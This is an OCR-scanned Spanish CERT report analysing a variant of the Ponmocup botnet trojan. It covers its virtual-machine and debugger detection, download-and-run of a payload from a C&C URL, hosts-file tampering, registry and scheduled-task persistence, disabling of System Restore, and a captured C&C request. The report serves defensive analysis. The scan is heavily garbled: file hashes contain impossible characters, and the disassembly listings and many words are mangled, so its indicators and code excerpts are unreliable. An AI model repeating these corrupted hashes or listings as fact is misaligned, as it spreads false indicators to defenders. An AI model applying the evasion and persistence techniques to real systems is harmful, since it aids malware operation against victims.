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CENTRO GRIPTOLOGICO NAGIONAL

LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningun caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizacién de la
informacion y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccidn parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes
de Seguridad de la Informacién del Centro Criptoldégico Nacional, CCN. Este servicio se
cre6 en el ano 2006 como CERT Gubernamental Nacional espaiol y sus funciones
guedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia,
el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esguema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre.

De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques
sobre sistemas clasificados y sobre sistemas de las Administraciones Piblicas y de
empresas y organizaciones de interés estratégico para el pais. Su misién, por tanto, es
contribuir a la mejora de la ciberseguridad espanola, siendo el centro de alerta y
respuesta nacional que coopere y ayude a responder de forma rdpida vy eficiente a los
ciberataques y a afrontar de forma activa las ciberamenazas.
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2. RESUMEN EJECUTIVO

El presente documento recoge el andilisis de una variante del cédigo danino
"Ponmocup".

La principal caracteristica de “Ponmocup” es la capacidad que tiene para
comprometer y controlar equipos, de forma que pasen a ser nuevos nodos de una red
botnet.

Para redlizar parte de sus acciones iniciales (e]. instalacién) y operar
correctamente “Ponmocup’” requerird de un servidor on-line que actle como mando
y control (C&C). Si éste es el caso, “Ponmocup” se comunicard periédicamente con él,
enviando vy recibiendo informacién de forma cifrada. Los algoritmos utilizados en este
Ccaso son algoritmos propios.

Oftra caracteristica interesante es la capacidad que posee este cddigo danino
para detectar “cémo” y “dédnde"” estd siendo ejecutado. Por ejemplo, en equipos
virtualizados o0 mdqguinas de andlisis puede cambiar su comportamiento y actuar como
un simple dropper, descargando y ejecutando otros cédigos daninos.

“Ponmocup” utiliza diversas técnicas para garantizar con éxito su persistencia en
los sistemas ya comprometidos. Dichas técnicas se expondrdn mds adelante.

La botnet de "Ponmocup” estd considerada como una de las mayores
descubiertas hasta el momento. [1]

1'203'691
Ponmocup
167'53
Artro 111'|021
90'330
TDSS 50'084
59'338
Gbot 46'201
Carberp 12951867272
_ 22'855
Gozi 17'186
Ramnit 12(325:&9
11'354
ZeuS (B7's47
4'855
SpyEye |§]2'217

0 200'000 400'000 600'000 800'000 1'000'000 1'200'000 1'400'000

Number of unique IPs within
B Total IPs M New IPs 24hrs hitting obuse.ch's Sinkhole

llustracion 1. Tamano de la “botnet” del coédigo daiino “ponmocup”

Segun VirusTotal, 38 de 57 motores antivirus detectan el cédigo analizado como
danino, suponiendo un riego medio/baijo si se dispone de alguna solucién antivirus.
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3. CARACTERISTICAS

A continuacién se muestran algunas propiedades estaticas del fichero
analizado.

La firma del cédigo danino es la siguiente:

MD5 8e105ca%ef1571eecé?a181efc32138a

SHAT 197e12789d4cfd7234ef7d6754db7d3855cd52¢ee
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El compilador detectado en este caso ha sido: Microsoft Visual C + v7-10.

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERTID-03/16  Informe de Cédigo Daiiino “Trojan:Win32/ponmocup” CN-CE”

La mayor parte del cddigo de la muestra se encuentra cifrado de cara a evadir
las detecciones de los antivirus.

El algoritmo de cifrado utilizado es propio, lo cual es un indicio de que este fipo
de cddigo danino es generado masivamente y alterado en cada compilacion para
generar nuevas muestras.

.data:B6e461F6C 4B 88 ; SEH scope table for function 481618
.data:@B461F78 ; int dword_461F78[]
.data:BB461F78 FF FF 88 88 dword_461F78 dd BFFFFh
.data:@B461F78

.data:@B461F78

.data:8B461F78

.data:@B461F78

DATA XREF: sub_4826F8Tr
sub_40826F8+1ETo
sub_4026F8:1loc_s@2730Tr
sub_4026F8+4aTu
descifraCodigo_461F7C+66Tw

.data:88461F7C H

.data: 88461F7C

.data: 88461F7C ; int loc_A461F7C[]

.data:@88451F7C loc_461F7C: ; DATA XREF: descifraCodigo_461F7C+34Tr
.data:88461F7C 48 dec eax

.data:88461F7C H

.data:88461F7D 8F db 8&Fh ; @

.data:868461F7E H

.data:@B8u61F7E BB 54 5F 3E 4F mou ebx, 4F3ESF54h
.data:88461F83 L4E dec esi

.data:88461F84 29 CV sub edi, eax

.data:88461F86 88 CF or bh, cl

.data:88461F88 5C pop esp

.data:@e461F89 85 E7 21 65 DB add eax, BDB6521E7h
.data:068461F89 H

.data: 88461FBE C1 db 8C1h ; -

.data:80461F8F H

.data: 868461F8BF

.data:@e461F8F loc_461F8F: ; CODE XREF: .data:@846288ELp
.data:88461F8F B9 87 9F 9a 7E mowv ecx, 7E9A9F@7h
.data:88461F94 3F aas

.data:@0461F95 BB 24 F6 or esp, [esi+esix8]
.data:88461F98 45 inc ebp

.data:88461F929 C8 BE DO 2B enter 6FFFFDBBEBh, 2Bh
.data:88461F9D FC cld

.data:88461F9E 58 pop eax

.data:@Bu61F9F 38 23 cmp [ebx], ah ; CODE XREF: .data:@@u61FB1}j
.data:88461FA1 7D 87 jge short loc_461F2A
.data:88461FA3 89 9C C7 E9 A2+ mowv [edi+eax*B-46A35D17h], ebx
.data:88461FAA 18 4A 24 adc [edx+24h], cl
data-00bA1FANR Aac mnnad

llustracion 3. Detalles del cédigo danino

Ademds, para evadir el andlisis por sistemas automatizados, utiliza diversas
técnicas de deteccién de mdaquinas virtuales:

Comprobacién de espacio libore que devuelve Ila llamada a
“GeftDiskFreeSpaceEx".
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88269698 loc_2C969B: CODE XREF: DetectaSandBoxesUMWARE+121Tj

L]
B0Z2C0698 ; DetectaSandBoxesUMWARE+12FTj
BBZ2C9698 push 184h ; uSize
BeZ2Co6A8 lea edx, [ebp+DirectoryHame]
BB2C96A6 push edx ; lpBuffer
802C926A7 call ds:GetSystemDirectoryn
802C26AD moy [ebp+var_249], @
B0Z2C06BL lea eax, [ebp+TotalHumberOfFreeBytes]
B0Z2Co6BA push eax ; 1pTotalHumberOfFreeBytes
a82Co6BE lea ecx, [ebp+TotalHumberOfBytes]
B82C96C1 push BCX ; 1pTotalHumberOfBytes
882C26C2 push esi ; 1pFreeBytesfvailableToCaller
B82C96C3 lea edx, [ebp+DirectoryHame]
802C26C9 push edx : lpDirectoryName
802C26CA call ds:GetDiskFreeSpaceExA
aez2co6D8 test eax, eax
B0Z2C06D2 jnz short loc_2C96EC
B0Z2C06D4 mov dword ptr [ebp+TotalHumberOfBytes], esi
BeZ2Co6DA mov dword ptr [ebp+TotalHumberOfBytes+4], esi
BeZ2Co6ER mov dword ptr [ebp#{TotalMumber0fFreeBytes], esi
BB2C96EG mov duword ptr [ebp+TotalHumberOfFreeBytes+4], esi
802C96EC
B02C96EC loc_2C96EC: ; CODE XREF: DetectaSandBoxesUMWARE+172Tj
B0Z2C96EC cnp dword ptr [ebp+TotalHumberOfBytes+4], esi
B0Z2C06F2 jnz short loc_2C96FE
ARZLOGFL nr Fehn+var 254h1. LARAAARAQ

llustracion 4. Detecciéon VM (GetDiskFreeSpaceEx)

Op-code especial para VirtualPC.

B082C9BE0 FinUMWARECHECK_CHECKUIRTUALPC: ; CODE XREF: DetectaSandBoxesUNWARE+561Tj
AB2CoB8A moy [ebp+ns_exc.registration.TrylLevel], 2

B882C9B87 xor ebx, ebx

882c9B89 xor eax, eax

882C9B8B inc eax

Ae2C9BEC vpcext 7, BBh

882coB28 mou [ebp+var_314], ebx

llustracién 5. Deteccién VM (Virtual PC)

Localizacion de librerias de depuracion cargadas en el proceso.

BB2CPESE mov byte ptr [esi+ebx], 2Eh

BO2CIELZ inc esi

BOZCOELE mov [ebp+var_258], esi

BO2CPELY nov [ebp+ms_exc.registration.TryLevel], &

BE2C9ES @ call BuscaDebugPlls ; intenta detectar distintas dll de log/depurado:
BA2COESA ; pstorec,dbghelp,SbieDll,dir log,api_watch
BE2COESS nov edi. eax

llustracion é. Detecciéon VM (BUsqueda de DLL)

4.PROCEDIMIENTO DE INFECCION

4.1 Vectores de infeccion

Se ha podido constatar que para distribuir “Ponmocup” no se hace uso de
ningun tipo de vulnerabilidad como vector de infeccidn, sino que se distribuye
principalmente haciendo uso de técnicas de ingenieria social. Se engana al usuario
para que descargue y ejecute el archivo que contiene el cédigo dafino.

En la documentacién consultada, las URLs analizadas que utiliza como vector de
infeccion tienen comprometido el archivo “.htaccess”.

Dicho archivo contiene una redireccién que es la que se encarga de hacer
llegar al usuario el archivo infectado. [2]
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4.2 Interacciones con el sistema afectado

Una vez iniciado el cédigo danino se encargard de descifrar su propio cédigo y

ejecutarlo desde memoria.

-text: 88481683 C7 85 20 23 46+ nov dword_462328, 87D75858h
-text:8048168D 8D 4D 88 lea ecx, [ebp+var_80]
-text:ae4e1698 51 push =]

text:e8481591 EE 26 13 08 68 call descifraCodigo 461F7C
-text:ae481696 83 C4 b4 add esp, 4

-text:A804E1699 68 24 23 L6 0@ push offset F101dProtect ; 1pflOldProtect
-text:aeuB16%2E 6A 48 push 48h ; flHewProtect
~text:004816A0 8B 15 4C 20 46+ nov edx, dword ptr loc_46284C
-text:084B16A6 A1 58 20 46 B0 nov eax, lpAddress

-text:BB4B16AE 2B DA sub edx, eax

-text:aa4B16AD 52 push edx ; duSize
text:884816AE 56 push eax ; lpAddress
-text:904816AF FF 15 B4 78 LB+ call ds:UirtualProtect
-text:aeuB16BS 68 BB B2 BB AR push 286h

-text:eo4816BA BB 45 186 nov eax, [ebp+arg_B]
-text:084816BD 58 push eax

-text:a84816BE 8D 4D 88 lea ecx, [ebp+var_88]
-text:ae4e16C1 51 push BCxX

text:@e4@16C2 EB 3D 17 08 B8 call ExtraeYEjecutaExeEnHemoria
-text:@84816C7 8D 55 86 lea edx, [ebp+var_80]

llustracién 7. Cédigo de la funcién de descifrado

Tras hacer esto, se inicia el proceso de deteccidn de mdquinas virtuales y

SandBox, mediante las técnicas descritas en el apartado de caracteristicas.

4.2.1 Interacciones con un sistema Virtualizado / Sandbox

Cuando el cédigo danino detecta que estd siendo ejecutado dentro de un

entorno virtualizado, o que estd siendo depurado, realiza las siguientes acciones:

a)

b)

Extrae en %BAPPDATA% un archivo ejecutable y escoge para él un nombre
aleatorio seleccionado de uno de los archivos contenidos en la carpeta
BWINDIRZ\system32 al que anade al final una serie de caracteres aleatorios.
Durante el andlisis realizado el archivo se ha denominado “WMnetMgrd.exe”,
suma de “WMnetMg.dil” mds los caracteres aleatorios “rd”. También ha
modificado su extensién de “.dII" a “.exe” (en la seccidén 9 se puede ver el
pseudo-coddigo del algoritmo usado).

La firma para el archivo extraido durante el andlisis ha sido:

MD5 0382562d6330466f4e0bf0b42233ec17

SHAT | 0101244f1df87d87b1d37f195deé1c8d8e90aféa

Se debe tener en cuenta que el archivo “.exe" creado es Unico en cada
sistema infectado ya que se anaden unos bytes al final del propio archivo cada
vez que es generado.

Una vez creado el nuevo archivo “.exe”, lo ejecuta usando la llamada a la API
“CreateProcessA”
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c)

Este nuevo proceso modifica el fichero hosts, anadiendo la redireccidén a
localhost (127.0.0.1) de los siguientes dominios para impedir la navegaciéon
hacia los mismos:

thepiratebay.org
www.thepiratebay.org
mininova.org
www.mininova.org
forum.mininova.org
blog.mininova.org
suprbay.org

www .suprbay.org

d) Finalmente, el “.exe" ejecutado realiza una peticién GET utilizando el protocolo
HTTP a la direccién http://imagehut4.cn/update/utu.dat, con el objetivo de
descargarse un nuevo fichero ejecutable ofuscado y ejecutarlo en el sistema
comprometido. Durante el andlisis realizado, se ha verificado que esta
direccién URL no se encuentra disponible.

4.2.2 Interacciones con un sistema real

En el caso de que "Ponmocup” no detecte la presencia de Sandboxes o

mdaquinas virtuales, procede de la siguiente manera:

a)

!CDE1S 58
ICDE1S 8B
!CDE1B 51
ICDE1C 8D
CDE1C
CDEIC
CDEIC
ICDE1C
ICDE1C
CDEIC
ICDE22 8D
!CDE28 E8
!CDE28
!CDE2D 89
!CDE33 BB
ICDE3S 8D
!CDE3IB EB
:CDE3B
!CDE3D 8D
CDELB
CDELB
ICDEMD
ICDEMD
ICDE4D 8A

Extrae una libreria en ZAPPDATA% v le asigna un nombre aleatorio utilizando el
mismo algoritmo explicado en la seccidn 4.2.1 a), con la Unica diferencia de
que la extensiéon generada es “.dll".

3D

95

aD
E3

85
D8
48
a3

49

B8

B8

BC
A2

Fa

15
81

push eax ; Size
E6 FF FF mov ecx, [ebp+Str] ; bytes del archive a escribir
push ecx 5 St
F9 FF FF lea edx, [ebprvar_648] 5 Hombre aleatorio extraido de system32:

s ‘FItHCH.exe*,B
; "cs-CZH.exe”,@
; "sbeioq.dll1’,8
: "KBDUGHRY" ,@8

H
5 Estos nombres son los que ha escogido en diferentes ejec

FA FF FF lea ecx, [ebp+var_544] s Buffer destino
FF FF call GuardafrchivoRutanleatoria ; E1 resultado dela ruta seleccionada esta en [ebp+uar_5ul
; "C:\UsersyadministradoryAppData\Roaming\KBDUGHRY .d11",8
Eé FF FF moy [ebp+bHutextDetectado], eax
32 6@ moy eax, offset bufferTelemetria ; "&3&r2=16n=15003&nn=1&v=1db18186&v6=16a="". . .
lea ecx, [eax+1]
jmp short loc_2CDE4S
db 8Dh, 49h, @
H
loc_2CDE4S: ; CODE XREF: WinMain(x,x,x,x)+asetj
5 WinMain(x,x,.x,%)+A95}]
moy dl, [eax]

llustracioén 8. Exiraccion libreria del “bot”

La firma para el archivo generado es:

MDS5 | 0720950be8dbfdcff?17b2d 1155288

SHAT | ea621f06b689e20a72736010b0a3e7643f868ae56
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b) A continuacion crea varios valores en el registro de Windows:

HKCU\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\2

o)
HKLM\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\2

HKCU\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\4

o)
HKLM\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\4

HKCU\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\5

o)
HKLM\Software\Microsoft\Windows\CurrentVersion\In
ternet Settings\5

HKCU\SYSTEM\CurrentControlSet\1

o

HKLM\SYSTEM\CurrentControlSet\1
HKCU\SYSTEM\CurrentControlSet\3

o

HKLM\SYSTEM\CurrentControlSet\3
HKCU\SYSTEM\CurrentControlSet\4

o

HKLM\SYSTEM\CurrentControlSet\4
HKCU\SYSTEM\CurrentControlSet\{numero}

o

HKLM\SYSTEM\CurrentControlSet\{numero}
HKCU\Software\<Nombre aleatorio>\<valor aleatorio>
o

HKLM\Software\<Nombre aleatorio>\<valor aleatorio>

Este valor se utiliza para
almacenar los dominios usados
por la “dll”. El contenido se
encuentra cifrado usando una
rutina propia de HASH.

Este valor se utiliza para
almacenar la configuracién usada
por la “dIl”. El contenido se
encuentra cifrado usando una
rutina propia de HASH.

Este valor se utiliza para
almacenar la ruta y nombre de la
“dll”. El contenido se encuentra
cifrado usando una rutina propia
de HASH.

CRC del nombre y ruta de la “dll”.

CRC de los dominios.

CRC de la configuracion.
Indicadores de distintos pasos
realizados durante la instalacion

Valor binario que sera leido y
cargado por la “dll”.

En las siguientes ilustraciones se pueden ver las claves de registro creadas:
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llustracion 9. Claves de registro creadas en “Internet Settings”

— T _—
B e e | e
Archive Edicion  Ver Favoritos  Ayuda
-l CurrentVersion || Mombre Tipe Datos =
b id'rn Center 2!'] (Predeterminade) REG_SZ (valor no establecido)
Pl ExpT ets ' REG_BINARY 91 fa 1 68 al 03 d5 82 6b Ob 82
Pl B:"'e' REG_BINARY 99 ae <8 df Bc 6b 40 of d3 0b
- ) REG_BINARY 162 64 aebd 10 f1 51 50 9a 7F
[+ 1 Group Policy - ) o
f>--|. HomeGroup QFJAutoConflgProxy REG_SZ wininet.dll
> ime 74| CertificateRevoc... REG_DWORD 0x00000001 (1) e
{1l Intemmet Setfings 4 DisableCaching... REG_DWORD 0+00000000 (1)
S ab) EmailName REG_SZ User@
.|| CACHE #%|EnableHttpl 1 REG_DWORD 0x00000001 (1)
|| Connections 4| EnableNegotiate  REG_DWORD 000000001 (1)
- | Hitp Filters ab|1E5_UA_Backup_.. REG_SZ 50 I
-1 Lockdown_Zones i-iﬂMigrateProxy REG_DWORD 000000001 (1) L
-y P3P ab| MimeExclusionL.. REG_SZ multipart/mixed multipart/x-m
~|. Passport 8| PrivacyAdvanced REG_DWORD 0+00000000 (1)
<1 Wpad %] PrivDiscUiShown  REG_DWORD 0+00000001 (1)
“1 ZoneMap 4] ProxyEnable REG_DWORD 0:00000000 (0)
<\, Zones 8| SecureProtocols  REG_DWORD 0:000000a0 (160}
LoMeT 23] UrlEncoding REG_DWORD 000000000 (0) -
i |1 NetCache ||« m | 3
EquipotHKEY_CURREMT_USER\Software\Micresoft\Windows\CurrentVersion\Internet Settings i
¢ 2

& Editor del Registro - - - - E@u

a
Archive Edicién  Ver Favoritos  Ayuda

b Shell “ || Mombre Tipo Datos
b Ta.bletPC . Qﬂ(Predeterminado] REG_SZ (valor no establecido)
¢ bl Windows Error Reporting )1 REG_DWORD 0:00003ah (15003)
b-dd Windows Mail %410 REG_DWORD 0x55ecl500f (1441615887)
>0 Windows Media -
: . )3 REG_DWORD 0x302351dd (807621085)
b-di Windows NT 2 REG_DWORD 053 dlb4 €80 (1406881408)
b-di Windows Search 47 REG_DWORD 000000001 (1)
[>~ . Windows Sidebar -
50 Wisp g REG_DWORD 0x00000001 (1)
» 1. Policies g REG_DWORD 0x00000001 (1)
|'>-- 1 VMware, Inc.
: 1 wjnhxoxd
- 1 Wow6432Node
4. | System
Copl |, CurrentControlSet |
b 1. Volatile Environment
4. || HKEV_LOCAL MACHINE
-}, BCDOOO0DOOOD
-}, HARDWARE
bl SAM
.|| SECURITY I = ]

Equipo\HKEY_CURREMT_USER\System' CurrentControlSet
X

llustracién 10. Claves de registro creadas en “CurrentControlSet”
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#jf Editor del Registro ] r — =l g

Archive Edicion  Ver Favorites  Ayuda

»

4 18 Equipo MNombre Tipo Datos
> -i HKEY_CLASSES ROOT Qﬂ(Predeterminado) REG_5Z {valor no establecido)

4-Ju HKEY_CURRENT_USER 2% bustig REG_BINARY Oe1d fd 8¢ 05 6e 18 62 dd 09 07 8d
- L. AppEvents

..... . Console

b - . Control Panel

..... . Envirenment

5. || EUDC

| b - . Identities

b1 Keyboard Layout
| ..... . Metwork

b - . Printers

4- || Software

| . AppDatalow

m

s -y Classes
oo L. Ghisler |
b - Hex-Rays
b - . Microsoft
b . Paolicies

s WMware, Inc. — ]
| 5 1) Wireshark

. wijnhxoxd
5ol Wowfi432Node
4 -} System

Pt L |y

Equipo\HKEY_CURRENT_USER\Software\wjnhxoxd

llustracion 11. Claves de registro aleatoria creada en “Software \ wjnhxoxd”

En la siguiente ilustracion se puede ver el contenido de la clave “2" antes
de ser cifrada e infroducida en el registro:

CEWMG E¥ 4F D1 FF FF call Lreallave_1e6_1_currencontrolset_extrae_cadena_texto_grande ; “114d”,117,7duy"",
CE@OC s tt11aet,t12t,v90e" ", Bah

CE@OC s ttiaet,t13t, 172800, 6ah

CE@OC s tt11aet,t1yt,30" " ,0ah

CE@OC ; tt11aet,t15t,"18" " ,8Ah

CE@ac ; fv15887,18"," 12", 8Ah

CE@ac ; '15887,188","1" ", 0Ah

CEABC 3 "t1588","181","%k1lncomp .com|globalnetscan.com™ ",
CEBac ; 'v1588, 182", ffeed .php?%s™’ , BAh

CE@Aac 3 "U1580","103","=ying . *| *ivwbox . %] =atdmt . *| *img.y
[Ha: ] H ; *scorecardresearch.com|*google-analytics.com|66.
[Ha: ] H ; *googlehosted.com|*gmodules.com|*g-mail.com|*gma
[Ha: ] H ; *qmodule .com|*googlecode .com| ®*googleearth._com|*q
CE@8C ; "googlemail .com|=*googletalk.com|*googleuserconte
CE@8C ; *nupads.x*|xgstatic.*|*abmr.*|*alexametrics.com"
CE@aC 3 ttseeT, 104", " foearchi\x5C7*q=*|google . *|q=| fsea
CE@aC ; g=|/search[4\x5C?;]=p=*|*search.yahoo_*|p=|/webix
CEB8C 5 g=|/searchi\x5C?=q=x|bing.=|q=|/search\x5C7xq=x|u
CEBBC ; g=|faol/search\x5C?*q=*|search.aol.com|q=|/searc
CEBBC | ; search.icq.com|q=]furlyx5C7?*q=*|google.*|q=]furl
CEBBC ; q=|/yhs/search[\x5C7;]*q=|*search.yahoo.*|q=|/+
CE@ac ; "ector/fsredir\x5C?*query=x|*sea

CEB11 89 85 38 E6 FF FF nov [ebp+var_19D8], eax

CE®17 B8 D8 15 32 00 mov eax, offset bufferTelemetria 5 U&3&r2=1&n=15003&nn=1&v=1db101086&v6="1&a=""...

llustracion 12. Cadena de texto con parte de la configuracion del “bot”

Una vez generadas las claves de registro, se crea una tarea programada
con el objetivo de ejecutar la “dIlI" en el préximo inicio del sistema.

Para realizar esta accién se genera un archivo con nombre aleatorio en la
carpeta del sistema: “BWINDIRZ\system32\task”. A este archivo se le asigna la
extensidon “.job", que es usada por el programador de tareas de Windows.

c) A confinuacion, la “dII” es ejecutada usando la utilidad del sistema
“rundll32.exe” pasdndole como pardmetro la ruta de esta “dll". Esta ejecucién

se realiza mediante la APl “CreateProcessA”.
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d) Se establece la clave de registro encargada de iniciar la “dllI” en cada inicio
del sistema. [3]

e) Se desactiva la funcionalidad de “Recuperar Sistema”. [4]

f) Se genera y ejecuta un archivo “.bat” en la ruta “BTEMP%" con el nombre
“~uninst” seguido de un valor numérico (en el andlisis realizado se generd el
archivo con nombre “~uninst7804.bat").

Este archivo “.bat” es ejecutado mediante la llamada a la AP
“CreateProcessA” y su objetivo es eliminar los archivos utilizados durante el
proceso de instalacién de “Ponmocup”.

g) Finalmente envia la informacion recopilada durante el proceso de instalacion
de "Ponmocup” al servidor C&C. La informacién que envia son marcas de
tiempo entre cada paso realizado durante la instalacion, ademds de los
cambios que ha readlizado en el sistema (claves de registro creadas, “dll”
creada, CRC de los archivos creados, etc.).

Todo este proceso tiene como objetivo extraer una “dlI” que ha de realizar
tareas determinadas. Por ejemplo, descargar nuevos moédulos desde direcciones URL
especificas y hacerlos residentes en memoria.

Como se puede apreciar, durante el proceso de instalacion se han creado
numerosas claves de registro. Estas claves son usadas por la “dllI” para obtener la
configuracién necesaria que indicard cémo actuar y desde ddénde readlizar las
descargas de nuevos ficheros mencionadas anteriormente.

Estas claves de registro contienen datos cifrados de la ruta y nombre de la “dll”
usada, dominios, datos de configuracién e incluso informacién binaria que la “dll”
ejecutard en memoria.

5. PERSISTENCIA EN EL SISTEMA

Para garantizar su persistencia “Ponmocup” tiene dos métodos distintos de
actuacién, en funcion de si ha detectado que estd ejecutando dentro de un entorno
Virtualizado/Sandbox, o en una mdaquina real.

5.1 PERSISTENCIA EN SISTEMAS VIRTUALIZADOS / SANDBOX

Cuando “Ponmocup” ha detectado una mdqguina virtual / Sandbox:

a) Selecciona de manera aleatoria el nombre de algun fichero existente en
%BWINDIR%\system32 vy aplica el mismo algoritmo explicado en la seccién
4.2.1 q).

b) Genera un “exe” con ese nombre en %APPDATA%

c) Anade un valor con la ruta del fichero creado en la clave de registro de
autorun "[HKLM | HKCU]\software \microsoft\windows\currentversion\run"
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g;f’ Editor del Registro

Archivo Edicidon Ver Eavoritos Ayuda
wifs

4 Windows

4 CurrentVersion

Action Center

Applets

Explorer

Ext

Group Policy

HomeGroup

ime

Internet Settings

MCT

NetCache

Policies

RADAR

Run

RunOnce

Crracncausre

4 [0

1

Nombre

2b|CDCYLM

Tipo Datos
abl(Predetermi.. REG_SZ

(valor no establecida)

REG_SZ C\Users\Administrador\AppData\Roaming\WMNetMgrd.exe

Equipo\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

— = =

5.2 PERSISTENCIA EN SISTEMAS REALES

Cuando “Ponmocup” no ha detectado ninguna mdquina virtual o Sandbox:

a) Selecciona de manera aleatoria el nombre de algin fichero existente en
%BWINDIR%\system32 y aplica el mismo algoritmo explicado en la seccidn

4.2.14d).

b) Genera una libreria “dll" con el nombre seleccionado en %ZAPPDATA%

c) Crea una tarea programada para ejecutar mediante rundll32 la funcién
principal de la “dll". Esta tarea se ejecutard en el proximo inicio del sistema.

P

MExit Code: @
MStatus: Task has not »un

BN Ch\Windows\System32\cmd.exe

: Administrador
Comment: Comment not set
Scheduled Date: Aug 2 B8:00:00.0 2008

C:“muestrasponmocuprjobhparser.py —f buviwvrxo.job

Product Info: Windows 7
File Uersion: 1

BUUID: {F56D8ACY?-6ASA—41FE-8C?C-1D815DEC?D36>

Priorities: NORMAL_PRIORITY_CLASS
Maximum Run Time: -1:59:59.59998 C(HH:MM:S5_M5>

Flags: TASK_APPLICATION_WAME,. TASK_FLAG_INTERACTIUE

Date RBun: Task not yet run
Running Inztances: W

Application: C:wWindowsssystem32:wrundll32.exe

Parameters:

"CivlUserssAdministradorsAppDatasRoamingssheiog.d11" . ¥RBGHSAB

Working Directory: Working Directory not set

User: Administrador
Comment: Comment not set

Scheduled Date: Awg 2 B0:00:00.8 2008

C:smuestras\ponmocup>

| | S |

m

d) Anade un valor aleatorio en la clave de registro de "“Autorun’:

"[HKLM | HKCU]\software\microsoft\windows\currentversion\run", con el
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comando “rundll32.exe” para asegurarse la ejecucién en cada inicio del
sistema. En la siguiente ilustracién se puede ver un ejemplo de la clave de
registro creada:

i Editor del Registro ® B — - e— = )

Archivo  Edicién  Ver Favoritos  Ayuda

| RAS Phonebook ~ || Membre Tipe Datos
| Remote Assistance ab] {Predeterminado) REG_SZ (valor no establecido)

! :‘”ESTW 28] rgfeel REG_SZ rundii32 "CA\Users\Administrader\ AppDatatRoaming\sbieq.dii" XREGNSAR
| Speec

SystemCertificates
| WAB
| wis

AT T Tew

| Windows
4 ]1 CurrentVersion

| Action Center

| Applets

. Explorer i
| Bt

| Group Policy

| HomeGroup

m

| ime
| Intemnet Settings

| MCT

| NetCache -

. Policies
. RADAR
. Run

| RunOnce

| Screensavers
| Shell Extensions Il
. Sidebar

| Telephony

| ThemeManager
b1, Themes - ||« i v

>
>
>
>

lEqulpo\HKEV_CURRENT_USER\So&warE\n licrosoft\Windows\Currer Run

llustracion 15. Claves de registro creadas para la persistencia en mdaquina real

Y finalmente, desactiva la recuperacion del sistema para asi dificultar las tareas
de desinfeccién, para ello hard uso de la funcidén no documentada “DisableSR”
de la libreria “srclient.DLL" de Microsoft:

35D97 B8 54 35 ny nov [ebp+esi+ProcHame], dl

35D9B 48 inc eax

I509C 89 45 90 nov [ebp+var 78], eax

35D9F EB CF jmp short loc_2c5D78 ; decodifica:
5D9F ; 'DisableSR’,8
25DA1 g

35DA

35DA1 loc_2C5DA1: ; CODE XREF: DisableSystemRecouvery+148Tj
35DA1 O8F B7 CA novzx pax, ax

35DA4 C6 44 65 AL 68 nov [ebp+eax+ProcHame], 8

35DA9 8D 4D AL lea ecx, [ebp+ProcHame] : 'DisableSR',8
5DAC 51 push =] 5 1pProcHame
35DAD BB 55 98 nov edx, [ebp+hLibHodule] 5 srclient_dll
35DBB 52 push edx ; hihodule

35DB1 FF D3 call ebx ; GetProcAddress

I5DB3 89 U5 84 nov [ebp+var 7C], eax

35DB6 8BS FF test edi, edi

35DB8 OF 84 84 00 66 668 jz loc_2C5E42

5DBE 6A B8 push 8

35DCA FF D7 call edi

35DC2 89 A5 8@ nov [ebp+uar_88], eax

llustracion 16. Desactivacion de “SystemRecovery”

6. CONEXIONES DE RED

Como se ha comentado, “"Ponmocup” altera su comportamiento en funcion
del tipo de sistema en el que se encuentre. Algo comun es que siempre contactard
con su C&C para informarle del tipo de instalacién que ha realizado.

6.1 Conexiones establecidas contra el C&C

Todas las comunicaciones realizadas contra el C&C utilizan el siguiente User-

Agent:
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User-Agent
Mozilla/5.0 (Windows; U; MSIE 8.0; Windows NT 6.0; en-US)

-Stream Content

GET /htmlys
liCenSe_43EC922A3DDElF4D3834ED4D6BABDFSABBGEGGGDFSQGC?4B4QlD832C92504C636CD?DAGE
SOBOCDSSFFS1 CCEA4BBBOZO9BE222EFC2404005631 2F2FEDSS4568A6472C328361CS0651 183DE4 FAD4
FB25CY 18FOFDDO3SBCEB3B2 7 C2D4F0831B300ESFABDS 361 DEZSD78FCS2 71 AEEQCEE49D34CACE307EL
ABDF7EBEC3] 3ADEZFCEFABATSEBFFYE7SESAG41 7 37827 ABBAFSBAFT 70581 ADEDSETOCED3F7EBOS1CFE
FC7FBE121D36E3205291 21 70498096 3D0AEEFOASAFSE80DDABESE24 1 223DA70AFD1E798AS148420DD0SSA0
FDZ2SASFZ231BSCSEFASAARICIFIASABFEZD1SAGAAA1B] 2097 COBS3ES0T 1IEQ9AS2CODBE349533E02FCS
482192B7 18BEOSEC3A3AF2940785BCES9BED01927 11 ASCS]1 342BCCEZDOAL A5DEFBESYSFEEZ0BAESAS
ADGSOD1IFSEBLOBCASACZFO3SDFSECE0OCADSDO 1 2ACCEBAFAZYSACAEDSEBESDSZBAOAAAIEFSSEETEST A
BEFFS1S46AESAZ4E7E5D74ADEEL SEBFSEAZCZ049ESA0994 37BDS2EDALY 1158FSE7CBEB4ABCI7EBADSTE
S4B1692E16BCOBE18A447589046] FF73075B4BBOE6FS3BE2CBA3AASAYAZEBES 7 /OF7BDBL7BEBC3C1D4E
BEFAGACDBASAGZEB1SECBZ0F31ET 1 744A6BEBCCCECSS9CESBOBESZ 7 C3481CCO35089052409C9889379
